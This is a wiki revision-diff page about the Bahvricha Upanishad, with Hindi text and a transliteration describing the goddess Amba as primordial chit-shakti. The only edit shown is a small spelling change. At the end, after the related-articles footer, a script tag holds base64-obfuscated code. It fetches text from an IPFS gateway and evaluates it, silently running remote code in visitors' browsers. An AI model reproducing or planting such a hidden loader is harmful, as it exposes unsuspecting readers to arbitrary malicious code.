Difference between revisions of "बहवृचोपनिषद"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "श्रृंगार" to "शृंगार")
m (Text replacement - "शृंगार" to "श्रृंगार")
 
Line 1: Line 1:
 
*[[ऋग्वेद]] से सम्बन्धित इस उपनिषद में आद्यशक्ति देवी 'अम्बा' की उपासना की गयी है। यह 'चित् शक्ति' कहलाती है। इसी 'चित् शक्ति' से [[ब्रह्मा]], [[विष्णु]] और [[शिव|रुद्र]] का प्रादुर्भाव हुआ है और सभी जड़-संगम का जन्म सम्भव हो सका है। यह ब्रह्मस्वरूपा है।  
 
*[[ऋग्वेद]] से सम्बन्धित इस उपनिषद में आद्यशक्ति देवी 'अम्बा' की उपासना की गयी है। यह 'चित् शक्ति' कहलाती है। इसी 'चित् शक्ति' से [[ब्रह्मा]], [[विष्णु]] और [[शिव|रुद्र]] का प्रादुर्भाव हुआ है और सभी जड़-संगम का जन्म सम्भव हो सका है। यह ब्रह्मस्वरूपा है।  
*सृष्टि की रचना से पहले यही शक्ति विद्यमान थीं यह देवी 'काम-कला' और 'शृंगार-कला' के नाम से प्रख्यात है। यह अपरा शक्ति कहलाती है। इसे ही विद्या की देवी 'सरस्वती' कहा गया है। यह सत्-चित् आनन्दमयी देवी है। महात्रिपुरसुन्दरी के रूप में प्रत्येक चेतना, देश, काल एवं पात्र में यह रहस्यमय रूप में स्थित है। जो पुरुष इस रहस्यमयी देवी के स्वरूप को जान लेता है, वह सदैव के लिए इस 'चित्-शक्ति' में प्रतिष्ठित हो जाता है।  
+
*सृष्टि की रचना से पहले यही शक्ति विद्यमान थीं यह देवी 'काम-कला' और 'श्रृंगार-कला' के नाम से प्रख्यात है। यह अपरा शक्ति कहलाती है। इसे ही विद्या की देवी 'सरस्वती' कहा गया है। यह सत्-चित् आनन्दमयी देवी है। महात्रिपुरसुन्दरी के रूप में प्रत्येक चेतना, देश, काल एवं पात्र में यह रहस्यमय रूप में स्थित है। जो पुरुष इस रहस्यमयी देवी के स्वरूप को जान लेता है, वह सदैव के लिए इस 'चित्-शक्ति' में प्रतिष्ठित हो जाता है।  
  
 
<br />
 
<br />

Latest revision as of 07:55, 7 November 2017

  • rrigved se sambandhit is upanishad mean adyashakti devi 'amba' ki upasana ki gayi hai. yah 'chith shakti' kahalati hai. isi 'chith shakti' se brahma, vishnu aur rudr ka pradurbhav hua hai aur sabhi j d-sangam ka janm sambhav ho saka hai. yah brahmasvaroopa hai.
  • srishti ki rachana se pahale yahi shakti vidyaman thian yah devi 'kam-kala' aur 'shrriangar-kala' ke nam se prakhyat hai. yah apara shakti kahalati hai. ise hi vidya ki devi 'sarasvati' kaha gaya hai. yah sath-chith anandamayi devi hai. mahatripurasundari ke roop mean pratyek chetana, desh, kal evan patr mean yah rahasyamay roop mean sthit hai. jo purush is rahasyamayi devi ke svaroop ko jan leta hai, vah sadaiv ke lie is 'chith-shakti' mean pratishthit ho jata hai.


sanbandhit lekh

shrutiyaan
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>